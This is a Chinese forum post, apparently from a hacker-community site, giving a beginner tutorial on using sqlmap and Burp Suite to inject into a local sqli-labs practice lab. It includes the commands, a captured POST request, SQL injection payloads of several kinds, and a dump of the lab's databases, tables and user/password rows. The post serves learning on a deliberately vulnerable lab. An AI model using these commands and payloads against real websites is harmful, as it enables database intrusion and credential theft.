sqlmap工具的简单使用,自动注入爆库、爆表、爆字段,爆数据

 
1083 4
小菜鸟一枚 2022-3-11 11:31:30 | 显示全部楼层 |阅读模式
1.上次学习时安装了kali,这次来看看kali自带的工具,sqlmap,准备好sqllibs靶场。

打开终端输入:sqlmap -u http://192.168.2.113/web/Less-1/?id=1 --dbs --batch ,get类型的参数ID,可以看到顺利爆出数据库,并且存在四种注入类型的漏洞。

  1. sqlmap resumed the following injection point(s) from stored session:
  2. ---
  3. Parameter: id (GET)
  4.     Type: boolean-based blind
  5.     Title: AND boolean-based blind - WHERE or HAVING clause
  6.     Payload: id=1' AND 9591=9591 AND 'PXGC'='PXGC

  7.     Type: error-based
  8.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  9.     Payload: id=1' AND (SELECT 4450 FROM(SELECT COUNT(*),CONCAT(0x717a716a71,(SELECT (ELT(4450=4450,1))),0x71706a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'vzrh'='vzrh

  10.     Type: time-based blind
  11.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  12.     Payload: id=1' AND (SELECT 6200 FROM (SELECT(SLEEP(5)))IUNL) AND 'ckXH'='ckXH

  13.     Type: UNION query
  14.     Title: Generic UNION query (NULL) - 3 columns
  15.     Payload: id=-9838' UNION ALL SELECT NULL,NULL,CONCAT(0x717a716a71,0x456c494947434477796e6c4d544974566f41536355636857574477796c7777695550627046704d6d,0x71706a7671)-- -
  16. ---
  17. [22:12:16] [INFO] the back-end DBMS is MySQL
  18. web server operating system: Windows
  19. web application technology: Apache 2.4.23, PHP 5.4.45
  20. back-end DBMS: MySQL >= 5.0
  21. [22:12:16] [INFO] fetching database names
  22. [22:12:17] [INFO] resumed: 'information_schema'
  23. [22:12:17] [INFO] resumed: 'challenges'
  24. [22:12:17] [INFO] resumed: 'mysql'
  25. [22:12:17] [INFO] resumed: 'performance_schema'
  26. [22:12:17] [INFO] resumed: 'security'
  27. [22:12:17] [INFO] resumed: 'test'
  28. available databases [6]:                                                   
  29. [*] challenges
  30. [*] information_schema
  31. [*] mysql
  32. [*] performance_schema
  33. [*] security
  34. [*] test
复制代码


2.第二种post注入,也就是表单,参数以post方式提交:


这种情况下,地址栏不能看到提交的参数名称,怎么注入呢?学过前端的都知道F12控制台,那如果是有请求头验证呢,带别的呢?

3.这个时候用到kali自带的另一款工具burpsuite了,抓个包看看,这下子整个请求的参数就能看到了,把下面的内容保存成bom文件。
  1. POST /web/Less-12/ HTTP/1.1

  2. Host: 192.168.2.113

  3. User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

  5. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

  6. Accept-Encoding: gzip, deflate

  7. Content-Type: application/x-www-form-urlencoded

  8. Content-Length: 39

  9. Origin: http://192.168.2.113

  10. Connection: close

  11. Referer: http://192.168.2.113/web/Less-12/

  12. Upgrade-Insecure-Requests: 1



  13. uname=admin&passwd=123456&submit=Submit
复制代码


同样打开终端输入:sqlmap -r bom --dbs --batch,也爆出了数据库。
  1. sqlmap resumed the following injection point(s) from stored session:
  2. ---
  3. Parameter: uname (POST)
  4.     Type: error-based
  5.     Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  6.     Payload: uname=1") AND (SELECT 1552 FROM(SELECT COUNT(*),CONCAT(0x716a787171,(SELECT (ELT(1552=1552,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ("fmsM"="fmsM&passwd=2&submit=Submit

  7.     Type: time-based blind
  8.     Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  9.     Payload: uname=1") AND (SELECT 5849 FROM (SELECT(SLEEP(5)))LZXJ) AND ("FWuX"="FWuX&passwd=2&submit=Submit

  10.     Type: UNION query
  11.     Title: MySQL UNION query (NULL) - 2 columns
  12.     Payload: uname=1") UNION ALL SELECT CONCAT(0x716a787171,0x596e546d6c547979586570797072656c6563514b5a514257536a68745145736144537877456c4444,0x7162716b71),NULL#&passwd=2&submit=Submit

  13.     Type: boolean-based blind
  14.     Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
  15.     Payload: uname=1") OR NOT 7732=7732#&passwd=2&submit=Submit
  16. ---
  17. [22:20:36] [INFO] the back-end DBMS is MySQL
  18. web server operating system: Windows
  19. web application technology: PHP 5.4.45, Apache 2.4.23
  20. back-end DBMS: MySQL >= 5.0
  21. [22:20:36] [INFO] fetching database names
  22. [22:20:37] [INFO] resumed: 'information_schema'
  23. [22:20:37] [INFO] resumed: 'challenges'
  24. [22:20:37] [INFO] resumed: 'mysql'
  25. [22:20:37] [INFO] resumed: 'performance_schema'
  26. [22:20:37] [INFO] resumed: 'security'
  27. [22:20:37] [INFO] resumed: 'test'
  28. available databases [6]:                                                   
  29. [*] challenges
  30. [*] information_schema
  31. [*] mysql
  32. [*] performance_schema
  33. [*] security
  34. [*] test
复制代码


其他的命令:
sqlmap -r bom -D security --tables --batch  爆security数据库对应的所有表

  1. database: security
  2. [4 tables]
  3. +----------+
  4. | emails   |
  5. | referers |
  6. | uagents  |
  7. | users    |
复制代码


sqlmap -r bom -T users --columns --batch 爆user表的所有字段(列)

  1. Column   | Type        |
  2. +----------+-------------+
  3. | id       | int(3)      |
  4. | password | varchar(20) |
  5. | username | varchar(20) |
复制代码


sqlmap -r bom -T users ----dump --batch 爆user表的所有数据(行)
  1. Database: security
  2. Table: users
  3. [13 entries]
  4. +----+------------+----------+
  5. | id | password   | username |
  6. +----+------------+----------+
  7. | 1  | Dumb       | Dumb     |
  8. | 2  | I-kill-you | Angelina |
  9. | 3  | p@ssword   | Dummy    |
  10. | 4  | crappy     | secure   |
  11. | 5  | stupidity  | stupid   |
  12. | 6  | genious    | superman |
  13. | 7  | mob!le     | batman   |
  14. | 8  | admin      | admin    |
  15. | 9  | admin1     | admin1   |
  16. | 10 | admin2     | admin2   |
  17. | 11 | admin3     | admin3   |
  18. | 12 | dumbo      | dhakkan  |
  19. | 14 | admin4     | admin4   |
  20. +----+------------+----------+
复制代码



本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×
五云包子 2022-4-10 09:58:48 | 显示全部楼层
终于找到详细sqlmap注入的学习资源了,谢作者
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行